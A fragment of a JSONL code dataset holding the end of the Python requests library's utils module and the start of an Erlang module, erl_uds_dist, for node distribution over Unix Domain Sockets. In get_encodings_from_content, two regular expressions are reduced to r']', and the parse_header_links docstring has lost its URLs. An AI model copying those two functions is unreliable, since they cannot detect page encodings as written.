len(o)\n\n    elif hasattr(o, 'len'):\n        total_length = o.len\n\n    elif hasattr(o, 'getvalue'):\n        # e.g. BytesIO, cStringIO.StringIO\n        total_length = len(o.getvalue())\n\n    elif hasattr(o, 'fileno'):\n        try:\n            fileno = o.fileno()\n        except io.UnsupportedOperation:\n            pass\n        else:\n            total_length = os.fstat(fileno).st_size\n\n            # Having used fstat to determine the file length, we need to\n            # confirm that this file was opened up in binary mode.\n            if 'b' not in o.mode:\n                warnings.warn((\n                    \"Requests has determined the content-length for this \"\n                    \"request using the binary size of the file: however, the \"\n                    \"file has been opened in text mode (i.e. without the 'b' \"\n                    \"flag in the mode). This may lead to an incorrect \"\n                    \"content-length. In Requests 3.0, support will be removed \"\n                    \"for files in text mode.\"),\n                    FileModeWarning\n                )\n\n    if hasattr(o, 'tell'):\n        try:\n            current_position = o.tell()\n        except (OSError, IOError):\n            # This can happen in some weird situations, such as when the file\n            # is actually a special file descriptor like stdin. In this\n            # instance, we don't know what the length is, so set it to zero and\n            # let requests chunk it instead.\n            current_position = total_length\n\n    return max(0, total_length - current_position)\n\n\ndef get_netrc_auth(url, raise_errors=False):\n    \"\"\"Returns the Requests tuple auth for a given url from netrc.\"\"\"\n\n    try:\n        from netrc import netrc, NetrcParseError\n\n        netrc_path = None\n\n        for f in NETRC_FILES:\n            try:\n                loc = os.path.expanduser('~/{0}'.format(f))\n            except KeyError:\n                # os.path.expanduser can fail when $HOME is undefined and\n                # getpwuid fails. See http://bugs.python.org/issue20164 &\n                # https://github.com/kennethreitz/requests/issues/1846\n                return\n\n            if os.path.exists(loc):\n                netrc_path = loc\n                break\n\n        # Abort early if there isn't one.\n        if netrc_path is None:\n            return\n\n        ri = urlparse(url)\n\n        # Strip port numbers from netloc. This weird `if...encode`` dance is\n        # used for Python 3.2, which doesn't support unicode literals.\n        splitstr = b':'\n        if isinstance(url, str):\n            splitstr = splitstr.decode('ascii')\n        host = ri.netloc.split(splitstr)[0]\n\n        try:\n            _netrc = netrc(netrc_path).authenticators(host)\n            if _netrc:\n                # Return with login / password\n                login_i = (0 if _netrc[0] else 1)\n                return (_netrc[login_i], _netrc[2])\n        except (NetrcParseError, IOError):\n            # If there was a parsing error or a permissions issue reading the file,\n            # we'll just skip netrc auth unless explicitly asked to raise errors.\n            if raise_errors:\n                raise\n\n    # AppEngine hackiness.\n    except (ImportError, AttributeError):\n        pass\n\n\ndef guess_filename(obj):\n    \"\"\"Tries to guess the filename of the given object.\"\"\"\n    name = getattr(obj, 'name', None)\n    if (name and isinstance(name, basestring) and name[0] != '<' and\n            name[-1] != '>'):\n        return os.path.basename(name)\n\n\ndef from_key_val_list(value):\n    \"\"\"Take an object and test to see if it can be represented as a\n    dictionary. Unless it can not be represented as such, return an\n    OrderedDict, e.g.,\n\n    ::\n\n        >>> from_key_val_list([('key', 'val')])\n        OrderedDict([('key', 'val')])\n        >>> from_key_val_list('string')\n        ValueError: need more than 1 value to unpack\n        >>> from_key_val_list({'key': 'val'})\n        OrderedDict([('key', 'val')])\n\n    :rtype: OrderedDict\n    \"\"\"\n    if value is None:\n        return None\n\n    if isinstance(value, (str, bytes, bool, int)):\n        raise ValueError('cannot encode objects that are not 2-tuples')\n\n    return OrderedDict(value)\n\n\ndef to_key_val_list(value):\n    \"\"\"Take an object and test to see if it can be represented as a\n    dictionary. If it can be, return a list of tuples, e.g.,\n\n    ::\n\n        >>> to_key_val_list([('key', 'val')])\n        [('key', 'val')]\n        >>> to_key_val_list({'key': 'val'})\n        [('key', 'val')]\n        >>> to_key_val_list('string')\n        ValueError: cannot encode objects that are not 2-tuples.\n\n    :rtype: list\n    \"\"\"\n    if value is None:\n        return None\n\n    if isinstance(value, (str, bytes, bool, int)):\n        raise ValueError('cannot encode objects that are not 2-tuples')\n\n    if isinstance(value, collections.Mapping):\n        value = value.items()\n\n    return list(value)\n\n\n# From mitsuhiko/werkzeug (used with permission).\ndef parse_list_header(value):\n    \"\"\"Parse lists as described by RFC 2068 Section 2.\n\n    In particular, parse comma-separated lists where the elements of\n    the list may include quoted-strings.  A quoted-string could\n    contain a comma.  A non-quoted string could have quotes in the\n    middle.  Quotes are removed automatically after parsing.\n\n    It basically works like :func:`parse_set_header` just that items\n    may appear multiple times and case sensitivity is preserved.\n\n    The return value is a standard :class:`list`:\n\n    >>> parse_list_header('token, \"quoted value\"')\n    ['token', 'quoted value']\n\n    To create a header from the :class:`list` again, use the\n    :func:`dump_header` function.\n\n    :param value: a string with a list header.\n    :return: :class:`list`\n    :rtype: list\n    \"\"\"\n    result = []\n    for item in _parse_list_header(value):\n        if item[:1] == item[-1:] == '\"':\n            item = unquote_header_value(item[1:-1])\n        result.append(item)\n    return result\n\n\n# From mitsuhiko/werkzeug (used with permission).\ndef parse_dict_header(value):\n    \"\"\"Parse lists of key, value pairs as described by RFC 2068 Section 2 and\n    convert them into a python dict:\n\n    >>> d = parse_dict_header('foo=\"is a fish\", bar=\"as well\"')\n    >>> type(d) is dict\n    True\n    >>> sorted(d.items())\n    [('bar', 'as well'), ('foo', 'is a fish')]\n\n    If there is no value for a key it will be `None`:\n\n    >>> parse_dict_header('key_without_value')\n    {'key_without_value': None}\n\n    To create a header from the :class:`dict` again, use the\n    :func:`dump_header` function.\n\n    :param value: a string with a dict header.\n    :return: :class:`dict`\n    :rtype: dict\n    \"\"\"\n    result = {}\n    for item in _parse_list_header(value):\n        if '=' not in item:\n            result[item] = None\n            continue\n        name, value = item.split('=', 1)\n        if value[:1] == value[-1:] == '\"':\n            value = unquote_header_value(value[1:-1])\n        result[name] = value\n    return result\n\n\n# From mitsuhiko/werkzeug (used with permission).\ndef unquote_header_value(value, is_filename=False):\n    r\"\"\"Unquotes a header value.  (Reversal of :func:`quote_header_value`).\n    This does not use the real unquoting but what browsers are actually\n    using for quoting.\n\n    :param value: the header value to unquote.\n    :rtype: str\n    \"\"\"\n    if value and value[0] == value[-1] == '\"':\n        # this is not the real unquoting, but fixing this so that the\n        # RFC is met will result in bugs with internet explorer and\n        # probably some other browsers as well.  IE for example is\n        # uploading files with \"C:\\foo\\bar.txt\" as filename\n        value = value[1:-1]\n\n        # if this is a filename and the starting characters look like\n        # a UNC path, then just return the value without quotes.  Using the\n        # replace sequence below on a UNC path has the effect of turning\n        # the leading double slash into a single slash and then\n        # _fix_ie_filename() doesn't work correctly.  See #458.\n        if not is_filename or value[:2] != '\\\\\\\\':\n            return value.replace('\\\\\\\\', '\\\\').replace('\\\\\"', '\"')\n    return value\n\n\ndef dict_from_cookiejar(cj):\n    \"\"\"Returns a key/value dictionary from a CookieJar.\n\n    :param cj: CookieJar object to extract cookies from.\n    :rtype: dict\n    \"\"\"\n\n    cookie_dict = {}\n\n    for cookie in cj:\n        cookie_dict[cookie.name] = cookie.value\n\n    return cookie_dict\n\n\ndef add_dict_to_cookiejar(cj, cookie_dict):\n    \"\"\"Returns a CookieJar from a key/value dictionary.\n\n    :param cj: CookieJar to insert cookies into.\n    :param cookie_dict: Dict of key/values to insert into CookieJar.\n    :rtype: CookieJar\n    \"\"\"\n\n    cj2 = cookiejar_from_dict(cookie_dict)\n    cj.update(cj2)\n    return cj\n\n\ndef get_encodings_from_content(content):\n    \"\"\"Returns encodings from given content string.\n\n    :param content: bytestring to extract encodings from.\n    \"\"\"\n    warnings.warn((\n        'In requests 3.0, get_encodings_from_content will be removed. For '\n        'more information, please see the discussion on issue #2266. (This'\n        ' warning should only appear once.)'),\n        DeprecationWarning)\n\n    charset_re = re.compile(r']', flags=re.I)\n    pragma_re = re.compile(r']', flags=re.I)\n    xml_re = re.compile(r'^<\\?xml.*?encoding=[\"\\']*(.+?)[\"\\'>]')\n\n    return (charset_re.findall(content) +\n            pragma_re.findall(content) +\n            xml_re.findall(content))\n\n\ndef get_encoding_from_headers(headers):\n    \"\"\"Returns encodings from given HTTP Header Dict.\n\n    :param headers: dictionary to extract encoding from.\n    :rtype: str\n    \"\"\"\n\n    content_type = headers.get('content-type')\n\n    if not content_type:\n        return None\n\n    content_type, params = cgi.parse_header(content_type)\n\n    if 'charset' in params:\n        return params['charset'].strip(\"'\\\"\")\n\n    if 'text' in content_type:\n        return 'ISO-8859-1'\n\n\ndef stream_decode_response_unicode(iterator, r):\n    \"\"\"Stream decodes a iterator.\"\"\"\n\n    if r.encoding is None:\n        for item in iterator:\n            yield item\n        return\n\n    decoder = codecs.getincrementaldecoder(r.encoding)(errors='replace')\n    for chunk in iterator:\n        rv = decoder.decode(chunk)\n        if rv:\n            yield rv\n    rv = decoder.decode(b'', final=True)\n    if rv:\n        yield rv\n\n\ndef iter_slices(string, slice_length):\n    \"\"\"Iterate over slices of a string.\"\"\"\n    pos = 0\n    if slice_length is None or slice_length <= 0:\n        slice_length = len(string)\n    while pos < len(string):\n        yield string[pos:pos + slice_length]\n        pos += slice_length\n\n\ndef get_unicode_from_response(r):\n    \"\"\"Returns the requested content back in unicode.\n\n    :param r: Response object to get unicode content from.\n\n    Tried:\n\n    1. charset from content-type\n    2. fall back and replace all unicode characters\n\n    :rtype: str\n    \"\"\"\n    warnings.warn((\n        'In requests 3.0, get_unicode_from_response will be removed. For '\n        'more information, please see the discussion on issue #2266. (This'\n        ' warning should only appear once.)'),\n        DeprecationWarning)\n\n    tried_encodings = []\n\n    # Try charset from content-type\n    encoding = get_encoding_from_headers(r.headers)\n\n    if encoding:\n        try:\n            return str(r.content, encoding)\n        except UnicodeError:\n            tried_encodings.append(encoding)\n\n    # Fall back:\n    try:\n        return str(r.content, encoding, errors='replace')\n    except TypeError:\n        return r.content\n\n\n# The unreserved URI characters (RFC 3986)\nUNRESERVED_SET = frozenset(\n    \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n    + \"0123456789-._~\")\n\n\ndef unquote_unreserved(uri):\n    \"\"\"Un-escape any percent-escape sequences in a URI that are unreserved\n    characters. This leaves all reserved, illegal and non-ASCII bytes encoded.\n\n    :rtype: str\n    \"\"\"\n    parts = uri.split('%')\n    for i in range(1, len(parts)):\n        h = parts[i][0:2]\n        if len(h) == 2 and h.isalnum():\n            try:\n                c = chr(int(h, 16))\n            except ValueError:\n                raise InvalidURL(\"Invalid percent-escape sequence: '%s'\" % h)\n\n            if c in UNRESERVED_SET:\n                parts[i] = c + parts[i][2:]\n            else:\n                parts[i] = '%' + parts[i]\n        else:\n            parts[i] = '%' + parts[i]\n    return ''.join(parts)\n\n\ndef requote_uri(uri):\n    \"\"\"Re-quote the given URI.\n\n    This function passes the given URI through an unquote/quote cycle to\n    ensure that it is fully and consistently quoted.\n\n    :rtype: str\n    \"\"\"\n    safe_with_percent = \"!#$%&'()*+,/:;=?@[]~\"\n    safe_without_percent = \"!#$&'()*+,/:;=?@[]~\"\n    try:\n        # Unquote only the unreserved characters\n        # Then quote only illegal characters (do not quote reserved,\n        # unreserved, or '%')\n        return quote(unquote_unreserved(uri), safe=safe_with_percent)\n    except InvalidURL:\n        # We couldn't unquote the given URI, so let's try quoting it, but\n        # there may be unquoted '%'s in the URI. We need to make sure they're\n        # properly quoted so they do not cause issues elsewhere.\n        return quote(uri, safe=safe_without_percent)\n\n\ndef address_in_network(ip, net):\n    \"\"\"This function allows you to check if on IP belongs to a network subnet\n\n    Example: returns True if ip = 192.168.1.1 and net = 192.168.1.0/24\n             returns False if ip = 192.168.1.1 and net = 192.168.100.0/24\n\n    :rtype: bool\n    \"\"\"\n    ipaddr = struct.unpack('=L', socket.inet_aton(ip))[0]\n    netaddr, bits = net.split('/')\n    netmask = struct.unpack('=L', socket.inet_aton(dotted_netmask(int(bits))))[0]\n    network = struct.unpack('=L', socket.inet_aton(netaddr))[0] & netmask\n    return (ipaddr & netmask) == (network & netmask)\n\n\ndef dotted_netmask(mask):\n    \"\"\"Converts mask from /xx format to xxx.xxx.xxx.xxx\n\n    Example: if mask is 24 function returns 255.255.255.0\n\n    :rtype: str\n    \"\"\"\n    bits = 0xffffffff ^ (1 << 32 - mask) - 1\n    return socket.inet_ntoa(struct.pack('>I', bits))\n\n\ndef is_ipv4_address(string_ip):\n    \"\"\"\n    :rtype: bool\n    \"\"\"\n    try:\n        socket.inet_aton(string_ip)\n    except socket.error:\n        return False\n    return True\n\n\ndef is_valid_cidr(string_network):\n    \"\"\"\n    Very simple check of the cidr format in no_proxy variable.\n\n    :rtype: bool\n    \"\"\"\n    if string_network.count('/') == 1:\n        try:\n            mask = int(string_network.split('/')[1])\n        except ValueError:\n            return False\n\n        if mask < 1 or mask > 32:\n            return False\n\n        try:\n            socket.inet_aton(string_network.split('/')[0])\n        except socket.error:\n            return False\n    else:\n        return False\n    return True\n\n\ndef should_bypass_proxies(url):\n    \"\"\"\n    Returns whether we should bypass proxies or not.\n\n    :rtype: bool\n    \"\"\"\n    get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper())\n\n    # First check whether no_proxy is defined. If it is, check that the URL\n    # we're getting isn't in the no_proxy list.\n    no_proxy = get_proxy('no_proxy')\n    netloc = urlparse(url).netloc\n\n    if no_proxy:\n        # We need to check whether we match here. We need to see if we match\n        # the end of the netloc, both with and without the port.\n        no_proxy = (\n            host for host in no_proxy.replace(' ', '').split(',') if host\n        )\n\n        ip = netloc.split(':')[0]\n        if is_ipv4_address(ip):\n            for proxy_ip in no_proxy:\n                if is_valid_cidr(proxy_ip):\n                    if address_in_network(ip, proxy_ip):\n                        return True\n                elif ip == proxy_ip:\n                    # If no_proxy ip was defined in plain IP notation instead of cidr notation &\n                    # matches the IP of the index\n                    return True\n        else:\n            for host in no_proxy:\n                if netloc.endswith(host) or netloc.split(':')[0].endswith(host):\n                    # The URL does match something in no_proxy, so we don't want\n                    # to apply the proxies on this URL.\n                    return True\n\n    # If the system proxy settings indicate that this URL should be bypassed,\n    # don't proxy.\n    # The proxy_bypass function is incredibly buggy on macOS in early versions\n    # of Python 2.6, so allow this call to fail. Only catch the specific\n    # exceptions we've seen, though: this call failing in other ways can reveal\n    # legitimate problems.\n    try:\n        bypass = proxy_bypass(netloc)\n    except (TypeError, socket.gaierror):\n        bypass = False\n\n    if bypass:\n        return True\n\n    return False\n\n\ndef get_environ_proxies(url):\n    \"\"\"\n    Return a dict of environment proxies.\n\n    :rtype: dict\n    \"\"\"\n    if should_bypass_proxies(url):\n        return {}\n    else:\n        return getproxies()\n\n\ndef select_proxy(url, proxies):\n    \"\"\"Select a proxy for the url, if applicable.\n\n    :param url: The url being for the request\n    :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs\n    \"\"\"\n    proxies = proxies or {}\n    urlparts = urlparse(url)\n    if urlparts.hostname is None:\n        return proxies.get('all', proxies.get(urlparts.scheme))\n\n    proxy_keys = [\n        'all://' + urlparts.hostname,\n        'all',\n        urlparts.scheme + '://' + urlparts.hostname,\n        urlparts.scheme,\n    ]\n    proxy = None\n    for proxy_key in proxy_keys:\n        if proxy_key in proxies:\n            proxy = proxies[proxy_key]\n            break\n\n    return proxy\n\n\ndef default_user_agent(name=\"python-requests\"):\n    \"\"\"\n    Return a string representing the default user agent.\n\n    :rtype: str\n    \"\"\"\n    return '%s/%s' % (name, __version__)\n\n\ndef default_headers():\n    \"\"\"\n    :rtype: requests.structures.CaseInsensitiveDict\n    \"\"\"\n    return CaseInsensitiveDict({\n        'User-Agent': default_user_agent(),\n        'Accept-Encoding': ', '.join(('gzip', 'deflate')),\n        'Accept': '*/*',\n        'Connection': 'keep-alive',\n    })\n\n\ndef parse_header_links(value):\n    \"\"\"Return a dict of parsed link headers proxies.\n\n    i.e. Link: ; rel=front; type=\"image/jpeg\",; rel=back;type=\"image/jpeg\"\n\n    :rtype: list\n    \"\"\"\n\n    links = []\n\n    replace_chars = ' \\'\"'\n\n    for val in re.split(', *<', value):\n        try:\n            url, params = val.split(';', 1)\n        except ValueError:\n            url, params = val, ''\n\n        link = {'url': url.strip('<> \\'\"')}\n\n        for param in params.split(';'):\n            try:\n                key, value = param.split('=')\n            except ValueError:\n                break\n\n            link[key.strip(replace_chars)] = value.strip(replace_chars)\n\n        links.append(link)\n\n    return links\n\n\n# Null bytes; no need to recreate these on each call to guess_json_utf\n_null = '\\x00'.encode('ascii')  # encoding to ASCII for Python 3\n_null2 = _null * 2\n_null3 = _null * 3\n\n\ndef guess_json_utf(data):\n    \"\"\"\n    :rtype: str\n    \"\"\"\n    # JSON always starts with two ASCII characters, so detection is as\n    # easy as counting the nulls and from their location and count\n    # determine the encoding. Also detect a BOM, if present.\n    sample = data[:4]\n    if sample in (codecs.BOM_UTF32_LE, codecs.BOM32_BE):\n        return 'utf-32'     # BOM included\n    if sample[:3] == codecs.BOM_UTF8:\n        return 'utf-8-sig'  # BOM included, MS style (discouraged)\n    if sample[:2] in (codecs.BOM_UTF16_LE, codecs.BOM_UTF16_BE):\n        return 'utf-16'     # BOM included\n    nullcount = sample.count(_null)\n    if nullcount == 0:\n        return 'utf-8'\n    if nullcount == 2:\n        if sample[::2] == _null2:   # 1st and 3rd are null\n            return 'utf-16-be'\n        if sample[1::2] == _null2:  # 2nd and 4th are null\n            return 'utf-16-le'\n        # Did not detect 2 valid UTF-16 ascii-range characters\n    if nullcount == 3:\n        if sample[:3] == _null3:\n            return 'utf-32-be'\n        if sample[1:] == _null3:\n            return 'utf-32-le'\n        # Did not detect a valid UTF-32 ascii-range character\n    return None\n\n\ndef prepend_scheme_if_needed(url, new_scheme):\n    \"\"\"Given a URL that may or may not have a scheme, prepend the given scheme.\n    Does not replace a present scheme with the one provided as an argument.\n\n    :rtype: str\n    \"\"\"\n    scheme, netloc, path, params, query, fragment = urlparse(url, new_scheme)\n\n    # urlparse is a finicky beast, and sometimes decides that there isn't a\n    # netloc present. Assume that it's being over-cautious, and switch netloc\n    # and path if urlparse decided there was no netloc.\n    if not netloc:\n        netloc, path = path, netloc\n\n    return urlunparse((scheme, netloc, path, params, query, fragment))\n\n\ndef get_auth_from_url(url):\n    \"\"\"Given a url with authentication components, extract them into a tuple of\n    username,password.\n\n    :rtype: (str,str)\n    \"\"\"\n    parsed = urlparse(url)\n\n    try:\n        auth = (unquote(parsed.username), unquote(parsed.password))\n    except (AttributeError, TypeError):\n        auth = ('', '')\n\n    return auth\n\n\ndef to_native_string(string, encoding='ascii'):\n    \"\"\"Given a string object, regardless of type, returns a representation of\n    that string in the native string type, encoding and decoding where\n    necessary. This assumes ASCII unless told otherwise.\n    \"\"\"\n    if isinstance(string, builtin_str):\n        out = string\n    else:\n        if is_py2:\n            out = string.encode(encoding)\n        else:\n            out = string.decode(encoding)\n\n    return out\n\n\n# Moved outside of function to avoid recompile every call\n_CLEAN_HEADER_REGEX_BYTE = re.compile(b'^\\\\S[^\\\\r\\\\n]*$|^$')\n_CLEAN_HEADER_REGEX_STR = re.compile(r'^\\S[^\\r\\n]*$|^$')\n\ndef check_header_validity(header):\n    \"\"\"Verifies that header value is a string which doesn't contain\n    leading whitespace or return characters. This prevents unintended\n    header injection.\n\n    :param header: tuple, in the format (name, value).\n    \"\"\"\n    name, value = header\n\n    if isinstance(value, bytes):\n        pat = _CLEAN_HEADER_REGEX_BYTE\n    else:\n        pat = _CLEAN_HEADER_REGEX_STR\n    try:\n        if not pat.match(value):\n            raise InvalidHeader(\"Invalid return character or leading space in header: %s\" % name)\n    except TypeError:\n        raise InvalidHeader(\"Header value %s must be of type str or bytes, \"\n                            \"not %s\" % (value, type(value)))\n\n\ndef urldefragauth(url):\n    \"\"\"\n    Given a url remove the fragment and the authentication part.\n\n    :rtype: str\n    \"\"\"\n    scheme, netloc, path, params, query, fragment = urlparse(url)\n\n    # see func:`prepend_scheme_if_needed`\n    if not netloc:\n        netloc, path = path, netloc\n\n    netloc = netloc.rsplit('@', 1)[-1]\n\n    return urlunparse((scheme, netloc, path, params, query, ''))\n"}
+{"text": "%%\n%% Copyright 2020 Jérôme de Bretagne\n%%\n%% Licensed under the Apache License, Version 2.0 (the \"License\");\n%% you may not use this file except in compliance with the License.\n%% You may obtain a copy of the License at\n%%\n%%     http://www.apache.org/licenses/LICENSE-2.0\n%%\n%% Unless required by applicable law or agreed to in writing, software\n%% distributed under the License is distributed on an \"AS IS\" BASIS,\n%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n%% See the License for the specific language governing permissions and\n%% limitations under the License.\n%%\n%% %ExternalCopyright%\n%%\n-module(erl_uds_dist).\n\n%%\n%% A distributed Erlang system consists of a number of Erlang runtime\n%% systems, or Erlang nodes, communicating with each other. The default\n%% Erlang distribution protocol (inet_tcp_dist) is using TCP/IP sockets.\n%%\n%% This is an example of how to plug in an alternative distribution\n%% protocol using distribution controller processes. Erlang\n%% distribution can use whatever underlying protocols as long as the\n%% implementation reliably delivers data chuncks to the receiving\n%% Erlang node in the order they were sent by the sending node.\n%%\n%% This example uses stream-oriented Unix Domain Sockets (of the\n%% SOCK_STREAM type from the AF_UNIX socket family, also known as\n%% AF_LOCAL) as the protocol for exchanging data, allowing Erlang nodes\n%% running locally on the same host to communicate with each other.\n%%\n%% The original uds_dist module is using a port driver written in C,\n%% erl_uds_dist is using distribution controllers implemented by Erlang\n%% processes instead, so with the code written entirely in Erlang.\n%%\n%% This implementation is based on the gen_tcp_dist.erl example.\n%%\n\n%%\n%% To enable this distribution, start erl with the -proto_dist parameter:\n%%\n%% erl -proto_dist erl_uds -no_epmd -sname node@localhost\n%%     -pa path/to/erl_uds_dist.beam\n%%\n%% or\n%%\n%% erl -proto_dist erl_uds -no_epmd -name node@127.0.0.1\n%%     -pa path/to/erl_uds_dist.beam\n%%\n\n\n%% Handle the connection setup phase with other Erlang nodes\n-export([listen/1, accept/1, accept_connection/5,\n         setup/5, close/1, select/1, address/0]).\n\n%% Optional functions for alternative distribution protocol\n-export([setopts/2, getopts/2]).\n\n%% Internal export\n-export([accept_loop/2, accept_supervisor/6, setup_supervisor/5]).\n\n-import(error_logger, [error_msg/2]).\n\n-include_lib(\"kernel/include/net_address.hrl\").\n\n-include_lib(\"kernel/include/dist.hrl\").\n-include_lib(\"kernel/include/dist_util.hrl\").\n\n%%\n%% If tracing is wanted, uncomment the dist_trace macro in dist_util.hrl\n%% to enable all the calls to trace below, or copy the trace macro here.\n%%\n%% Tracing will freeze the initial boot when a -name or -sname paramater\n%% is passed to start directly distributed nodes. To make it work,\n%% launch non-distributed nodes first (without -name and -sname) then\n%% call net_kernel:start/1 to enable the distribution in a second stage.\n%%\n%% Uncomment these two lines to disable the trace macro locally:\n%% -undef(trace).\n%% -define(trace(Fmt, Args), ok).\n%%\n\n\n%% Set the distribution protocol version statically (the different values\n%% are listed in epmd.mk). All nodes are expected to use the same version\n%% when using this distribution, to avoid the need for epmd.\n-undef(ERL_DIST_VER).\n-ifdef(ERL_DIST_VER_6).\n%% Set it to 6 when supporting 32-bit big Creation numbers\n-define(ERL_DIST_VER, 6).\n-else.\n%% Set it to 5 when supporting Creation numbers in the 1..3 range\n-define(ERL_DIST_VER, 5).\n-endif.\n\n\n-spec select(NodeName) -> boolean() when\n      NodeName :: node().\n%% ---------------------------------------------------------------------\n%% Return true if the host name part of NodeName is valid for use\n%% with this protocol; false otherwise.\n%%\n%% For Unix Domain Sockets, the host name part doesn't matter, as such\n%% sockets are only available for other nodes running locally on the\n%% same host, so always return true.\n%% ---------------------------------------------------------------------\nselect(_NodeName) ->\n    true.\n\n\n-spec listen(NodeNameWithoutHost) ->\n                    {ok, {ListeningSocket, Address, Creation}} |\n                    {error, Reason} when\n      NodeNameWithoutHost :: node(),\n      ListeningSocket :: gen_tcp:socket(),\n      Address :: #net_address{},\n      Creation :: 1..16#FFFFFFFF,\n      Reason :: system_limit | inet:posix().\n%% ---------------------------------------------------------------------\n%% Listen for incoming connection requests on the specified Unix Domain Socket.\n%% It is called only once when the distribution protocol is brought up.\n%%\n%% NodeNameWithoutHost defines the listening Unix Domain Socket to use, it is\n%% the part before the '@' character in a full node name. It is usually a file\n%% pathname in the local filesystem (limited in length to 107 bytes on Linux)\n%% encoded according to the current system encoding mode, which can be either\n%% relative or absolute. Erlang node names have some restrictions; as of this\n%% writing, they are limited to the following characters: 0-9 A-Z a-z _ and -\n%% (cf. net_kernel:valid_name_head/1) so they can't contain . / or \\. As a\n%% result, the socket file pathname is relative to the current directory.\n%%\n%% Return:\n%% - ListeningSocket, a handle which is later passed to the accept/1 callback,\n%%   i.e. the listening Unix Domain Socket through which this Erlang node\n%%   is accessible.\n%% - Address, a #net_address{} record with information about the address\n%%   for this node.\n%% - Creation, an integer 1, 2 or 3, that has to change for different\n%%   instances of Erlang nodes created with the same node name.\n%% ---------------------------------------------------------------------\nlisten(NodeNameWithoutHost) ->\n    ?trace(\"~p~n\", [{?MODULE, listen, self()}]),\n\n    SocketPathname = to_string(NodeNameWithoutHost),\n    %% Use the gen_tcp module for Unix Domain Sockets of the SOCK_STREAM\n    %% socket type.\n    %%\n    %% The options passed to gen_tcp:listen:\n    %% - {ifaddr, {local, Pathname :: binary() | string()} indicates to use a\n    %%   Unix Domain Socket and defines which file pathname to listen on.\n    %% - binary, to have each packet delivered as a binary.\n    %% - {active, false} sets the listening socket in passive mode, meaning\n    %%   the packets must be explicitly retrieved by calling recv/2,3.\n    %% - {packet, 2} specifies a packet header length of 2 bytes, which\n    %%   is expected in every message of the distribution protocol\n    %%   until the initial distribution handshake completes.\n    %%\n    %% As documented, the port number must weirdly be set to 0 when using\n    %% gen_tcp API functions for Unix Domain Sockets.\n    case gen_tcp:listen(0, [{ifaddr, {local, SocketPathname}},\n                            binary, {active, false}, {packet, 2}]) of\n        %% Successful setup of the listening socket\n        {ok, ListeningSocket} ->\n            %% Get the listening socket address in a {local, Pathname} format\n            {ok, SocketAddress} = inet:sockname(ListeningSocket),\n            {ok, {ListeningSocket,\n                  #net_address{address = SocketAddress,\n                               %% Simply use 'localhost' as a convention\n                               %% as host is not used in net_kernel.\n                               host = localhost,\n                               %% 'local' is the address family used for\n                               %% Unix Domain Sockets.\n                               family = local,\n                               %% 'stream' is the convention chosen to\n                               %% represent to SOCK_STREAM socket type.\n                               protocol = stream},\n                  %% Get the Creation number for the current Node instance\n                  get_creation(SocketPathname)}};\n\n        %% The specified file pathname is already in use or the filesystem\n        %% socket object already exists.\n        {error, eaddrinuse} ->\n            %% Check that another Erlang node instance with the same node name\n            %% is not currently running. Try to connect to this file pathname.\n            case gen_tcp:connect({local, SocketPathname},\n                                 0,\n                                 [binary, {active, false}, {packet, 2}]) of\n                {ok, SocketWithAnotherNode} ->\n                    %% Connect has succeeded, so there is another Erlang node\n                    %% already running and listening on this same pathname.\n                    gen_tcp:close(SocketWithAnotherNode),\n                    ?trace(\"Another node is already running with the same \"\n                           \"node name: ~p~n\", [SocketPathname]),\n                    {error, duplicate_name};\n\n                _ ->\n                    %% No other Erlang node is listening on this file pathname\n                    %% so this is just an existing file or a previous socket\n                    %% object left after a crash/abort. Delete the file and\n                    %% retry to setup the listening socket.\n                    %%\n                    %% The raw option is passed to bypass the need for a file\n                    %% server, which is not available and registered yet during\n                    %% the early boot stage.\n                    case file:delete(SocketPathname, [raw]) of\n                        ok ->\n                            %% The file has been deleted, let's try again\n                            listen(NodeNameWithoutHost);\n                        {error, enoent} ->\n                            %% enoent - No such file or directory to delete\n                            %% anymore; unexpected but let's try again.\n                            listen(NodeNameWithoutHost);\n                        {error, eacces} ->\n                            %% eacces - Permission denied\n                            ?trace(\"The file ~p cannot be deleted, \"\n                                   \"permission denied~n\",\n                                   [SocketPathname]),\n                            {error, eacces};\n                        _DeleteError ->\n                            ?trace(\"Error returned by file:delete(~p, [raw]): \"\n                                   \"~p~n\", [SocketPathname, _DeleteError]),\n                            _DeleteError\n                    end\n            end;\n\n        Error ->\n            Error\n    end.\n\n\n-spec address() -> Address :: #net_address{}.\n%% ---------------------------------------------------------------------\n%% Support the -dist_listen false option, so that a distribution can be\n%% started without listening for incoming connections.\n%%\n%% In that case, address/0 is called in order to get the Address part of\n%% the listen/1 function without creating a listening socket. All fields\n%% except address have to be set in the returned Address record.\n%%\n%% This is used to support the dynamic name feature introduced in OTP 23.0,\n%% which allows to start a node with an 'undefined' name at first. It will\n%% then get its actual name randomly from the first node it connects to.\n%% ---------------------------------------------------------------------\naddress() ->\n    #net_address{%% Simply use 'localhost' as a convention\n                 %% as host is not used in net_kernel.\n                 host = localhost,\n                 %% 'local' is the address family used for\n                 %% Unix Domain Sockets.\n                 family = local,\n                 %% 'stream' is the convention chosen to\n                 %% represent to SOCK_STREAM socket type.\n                 protocol = stream}.\n\n\n-spec get_creation(SocketPathname) -> Creation :: 1..16#FFFFFFFF when\n      SocketPathname :: string().\n%% ---------------------------------------------------------------------\n%% Return the Creation number for the Erlang node which is accessible\n%% through the Unix Domain Socket listening on the file pathname\n%% SocketPathname.\n%%\n%% The Creation number has to change for different instances of Erlang\n%% nodes created with the same distribution name. It is stored in every\n%% process identifier sent to another node, so that process identifiers\n%% from one given node do not remain valid when sent to a new node\n%% instance with the same name.\n%%\n%% Support small Creation numbers in the 1..3 range with distribution\n%% protocol version 5 and 32-bit big Creation numbers in the range\n%% 4..4294967295 with protocol version 6. The value 0 must be avoided\n%% for normal operations as it is used as a wild card for debug purpose.\n%%\n%% For big Creations numbers, simply create a new random value each time.\n%%\n%% For small Creation numbers in the 1..3 range, the value is saved on\n%% the filesystem in the file pathname SocketPathname with the added\n%% \".uds\" extension, stored using a 1 byte character. With this convention,\n%% an Erlang node can retrieve the previous value from the filesystem\n%% on a new invocation to make sure the Creation number is incremented.\n%% ---------------------------------------------------------------------\nget_creation(SocketPathname) ->\n    %% Check the distribution protocol version\n    case ?ERL_DIST_VER of\n        6 ->\n            %% For big Creations numbers, simply create a new random value\n            %% each time, while avoiding the 0..3 range.\n            3 + rand:uniform((1 bsl 32) - 